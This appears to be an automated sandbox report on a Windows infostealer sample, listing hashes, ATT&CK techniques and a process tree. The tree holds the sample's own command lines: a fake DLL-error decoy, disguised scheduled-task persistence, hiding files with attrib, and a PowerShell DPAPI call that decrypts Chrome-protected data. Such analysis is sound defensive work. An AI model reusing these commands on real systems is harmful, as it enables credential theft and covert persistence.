f0c325a6d3999bdb20a4a7035fb17f6938081b3a3bcb6937c1388699d52750a0

Analysis

max time kernel
150s
max time network
120s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/07/2026, 01:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Size 44.0MB
Sample260705-bhsx2abv9r
SHA256 f0c325a6d3999bdb20a4a7035fb17f6938081b3a3bcb6937c1388699d52750a0
MD5 cf22bb5d47a84b0a435f03012e3a99c8
SHA1 4e730c48def4d1967711c8804b0d4d183c907ced
SHA512 e672cb0d40df84024acb814f3348f97afba00da1ad191588b227511906d7bfd5d92584a447fa4c192ccb93d9cf9d9539a2ac596b6c689b69f25e9d4a1436fdde
SSDEEP 786432:o3on1HvSzxAMNMFZArYs2qK2PvmPvC2a6R7OZXddTS:oYn1HvSpNMXm2OaHV4Y
TLSH
T1DBA7CF03B2A501E5E4B7D1388AA75203D772B8674731CACF325D02161FBBAE09A7F765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5240	powershell.exe
6068	powershell.exe
2932	powershell.exe
6072	powershell.exe
1476	powershell.exe
5960	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
5940	cmd.exe
4452	cmd.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
4764	tasklist.exe
4220	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4476	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5640	powershell.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2252	schtasks.exe
3928	schtasks.exe
4092	schtasks.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
1476	powershell.exe
1476	powershell.exe
5240	powershell.exe
5240	powershell.exe
6068	powershell.exe
6068	powershell.exe
3712	powershell.exe
3712	powershell.exe
2828	powershell.exe
2828	powershell.exe
5640	powershell.exe
5640	powershell.exe
5960	powershell.exe
5960	powershell.exe
5960	powershell.exe
2932	powershell.exe
2932	powershell.exe
2932	powershell.exe
6072	powershell.exe
6072	powershell.exe
6072	powershell.exe
2808	powershell.exe
2808	powershell.exe
2808	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeIncreaseQuotaPrivilege	1476	powershell.exe
Token: SeSecurityPrivilege	1476	powershell.exe
Token: SeTakeOwnershipPrivilege	1476	powershell.exe
Token: SeLoadDriverPrivilege	1476	powershell.exe
Token: SeSystemProfilePrivilege	1476	powershell.exe
Token: SeSystemtimePrivilege	1476	powershell.exe
Token: SeProfSingleProcessPrivilege	1476	powershell.exe
Token: SeIncBasePriorityPrivilege	1476	powershell.exe
Token: SeCreatePagefilePrivilege	1476	powershell.exe
Token: SeBackupPrivilege	1476	powershell.exe
Token: SeRestorePrivilege	1476	powershell.exe
Token: SeShutdownPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeSystemEnvironmentPrivilege	1476	powershell.exe
Token: SeRemoteShutdownPrivilege	1476	powershell.exe
Token: SeUndockPrivilege	1476	powershell.exe
Token: SeManageVolumePrivilege	1476	powershell.exe
Token: 33	1476	powershell.exe
Token: 34	1476	powershell.exe
Token: 35	1476	powershell.exe
Token: 36	1476	powershell.exe
Token: SeDebugPrivilege	5240	powershell.exe
Token: SeIncreaseQuotaPrivilege	5240	powershell.exe
Token: SeSecurityPrivilege	5240	powershell.exe
Token: SeTakeOwnershipPrivilege	5240	powershell.exe
Token: SeLoadDriverPrivilege	5240	powershell.exe
Token: SeSystemProfilePrivilege	5240	powershell.exe
Token: SeSystemtimePrivilege	5240	powershell.exe
Token: SeProfSingleProcessPrivilege	5240	powershell.exe
Token: SeIncBasePriorityPrivilege	5240	powershell.exe
Token: SeCreatePagefilePrivilege	5240	powershell.exe
Token: SeBackupPrivilege	5240	powershell.exe
Token: SeRestorePrivilege	5240	powershell.exe
Token: SeShutdownPrivilege	5240	powershell.exe
Token: SeDebugPrivilege	5240	powershell.exe
Token: SeSystemEnvironmentPrivilege	5240	powershell.exe
Token: SeRemoteShutdownPrivilege	5240	powershell.exe
Token: SeUndockPrivilege	5240	powershell.exe
Token: SeManageVolumePrivilege	5240	powershell.exe
Token: 33	5240	powershell.exe
Token: 34	5240	powershell.exe
Token: 35	5240	powershell.exe
Token: 36	5240	powershell.exe
Token: SeDebugPrivilege	4764	tasklist.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeIncreaseQuotaPrivilege	6068	powershell.exe
Token: SeSecurityPrivilege	6068	powershell.exe
Token: SeTakeOwnershipPrivilege	6068	powershell.exe
Token: SeLoadDriverPrivilege	6068	powershell.exe
Token: SeSystemProfilePrivilege	6068	powershell.exe
Token: SeSystemtimePrivilege	6068	powershell.exe
Token: SeProfSingleProcessPrivilege	6068	powershell.exe
Token: SeIncBasePriorityPrivilege	6068	powershell.exe
Token: SeCreatePagefilePrivilege	6068	powershell.exe
Token: SeBackupPrivilege	6068	powershell.exe
Token: SeRestorePrivilege	6068	powershell.exe
Token: SeShutdownPrivilege	6068	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeSystemEnvironmentPrivilege	6068	powershell.exe
Token: SeRemoteShutdownPrivilege	6068	powershell.exe
Token: SeUndockPrivilege	6068	powershell.exe
Token: SeManageVolumePrivilege	6068	powershell.exe
Token: 33	6068	powershell.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 5524 wrote to memory of 5228	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	88
PID 5228 wrote to memory of 4608	5228	cmd.exe	90
PID 4608 wrote to memory of 4860	4608	net.exe	91
PID 5524 wrote to memory of 2772	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	92
PID 2772 wrote to memory of 1476	2772	cmd.exe	94
PID 5524 wrote to memory of 1972	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	97
PID 1972 wrote to memory of 5240	1972	cmd.exe	99
PID 5524 wrote to memory of 264	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	100
PID 264 wrote to memory of 4616	264	cmd.exe	102
PID 5524 wrote to memory of 3500	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	104
PID 3500 wrote to memory of 4764	3500	cmd.exe	106
PID 5524 wrote to memory of 5300	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	107
PID 5300 wrote to memory of 5312	5300	cmd.exe	109
PID 5312 wrote to memory of 4588	5312	cmd.exe	110
PID 5524 wrote to memory of 2580	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	111
PID 2580 wrote to memory of 6068	2580	cmd.exe	113
PID 5524 wrote to memory of 4476	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	114
PID 4476 wrote to memory of 5388	4476	cmd.exe	116
PID 5524 wrote to memory of 5520	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	117
PID 5520 wrote to memory of 2252	5520	cmd.exe	119
PID 5524 wrote to memory of 1004	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	120
PID 1004 wrote to memory of 3928	1004	cmd.exe	122
PID 5524 wrote to memory of 5940	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	123
PID 5940 wrote to memory of 3712	5940	cmd.exe	125
PID 5524 wrote to memory of 4452	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	128
PID 4452 wrote to memory of 2828	4452	cmd.exe	130
PID 5524 wrote to memory of 4940	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	131
PID 4940 wrote to memory of 5640	4940	cmd.exe	133
PID 5524 wrote to memory of 5536	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	134
PID 5524 wrote to memory of 5356	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	135
PID 5536 wrote to memory of 5960	5536	cmd.exe	138
PID 5356 wrote to memory of 4220	5356	cmd.exe	139
PID 5960 wrote to memory of 2908	5960	powershell.exe	140
PID 5960 wrote to memory of 4092	5960	powershell.exe	141
PID 5524 wrote to memory of 2468	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	142
PID 2468 wrote to memory of 2932	2468	cmd.exe	144
PID 5524 wrote to memory of 5808	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	145
PID 5808 wrote to memory of 6072	5808	cmd.exe	147
PID 5524 wrote to memory of 4640	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	148
PID 4640 wrote to memory of 2808	4640	cmd.exe	150
PID 5524 wrote to memory of 1100	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	151
PID 1100 wrote to memory of 1988	1100	cmd.exe	153
PID 5524 wrote to memory of 2660	5524	2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	154
PID 2660 wrote to memory of 3524	2660	cmd.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5388	attrib.exe
2908	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-05_cf22bb5d47a84b0a435f03012e3a99c8_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5228
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-Volume -DriveLetter C).Size""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-Volume -DriveLetter C).Size"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object -Property Model, Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object -Property Model, Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\system32\getmac.exe
    getmac
    3⤵
    PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c start "" mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5300
- - C:\Windows\system32\cmd.exe
    cmd /c start "" mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5312
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")
      4⤵
      PID:4588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\tUDb1Ydn""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\tUDb1Ydn"
    3⤵
    - Views/modifies file attributes
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsTelemetrySync_6x8WJx" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\tUDb1Ydn\QStaK7cB.xml" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsTelemetrySync_6x8WJx" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\tUDb1Ydn\QStaK7cB.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsTelemetrySync_6x8WJx" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\tUDb1Ydn\AjFph8oW.vbs'" /sc onlogon /rl highest /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsTelemetrySync_6x8WJx" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\tUDb1Ydn\AjFph8oW.vbs'" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,131,113,2,174,50,110,153,66,188,109,142,213,58,152,213,241,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,195,223,139,191,70,41,234,169,29,76,129,253,72,90,127,66,188,195,12,189,248,156,26,197,33,243,103,95,147,35,50,61,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,77,223,201,115,114,147,8,240,31,91,65,48,188,240,213,19,82,192,219,143,161,41,95,91,18,40,154,63,248,124,239,248,48,0,0,0,15,203,74,224,118,248,16,174,245,219,29,7,82,157,24,104,197,163,242,227,60,129,161,93,191,152,65,198,186,90,226,117,62,58,239,164,191,176,246,80,165,75,2,103,253,55,97,195,64,0,0,0,73,189,53,165,190,242,135,180,106,167,137,206,237,124,86,125,138,31,190,84,131,93,195,248,157,103,82,165,5,231,215,233,141,117,61,42,148,234,78,201,221,37,77,58,54,210,147,214,114,249,236,95,205,224,245,219,113,18,137,1,90,252,114,134), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:5940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,131,113,2,174,50,110,153,66,188,109,142,213,58,152,213,241,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,195,223,139,191,70,41,234,169,29,76,129,253,72,90,127,66,188,195,12,189,248,156,26,197,33,243,103,95,147,35,50,61,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,77,223,201,115,114,147,8,240,31,91,65,48,188,240,213,19,82,192,219,143,161,41,95,91,18,40,154,63,248,124,239,248,48,0,0,0,15,203,74,224,118,248,16,174,245,219,29,7,82,157,24,104,197,163,242,227,60,129,161,93,191,152,65,198,186,90,226,117,62,58,239,164,191,176,246,80,165,75,2,103,253,55,97,195,64,0,0,0,73,189,53,165,190,242,135,180,106,167,137,206,237,124,86,125,138,31,190,84,131,93,195,248,157,103,82,165,5,231,215,233,141,117,61,42,148,234,78,201,221,37,77,58,54,210,147,214,114,249,236,95,205,224,245,219,113,18,137,1,90,252,114,134), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3712
- C:\Windows\system32\cmd.exe
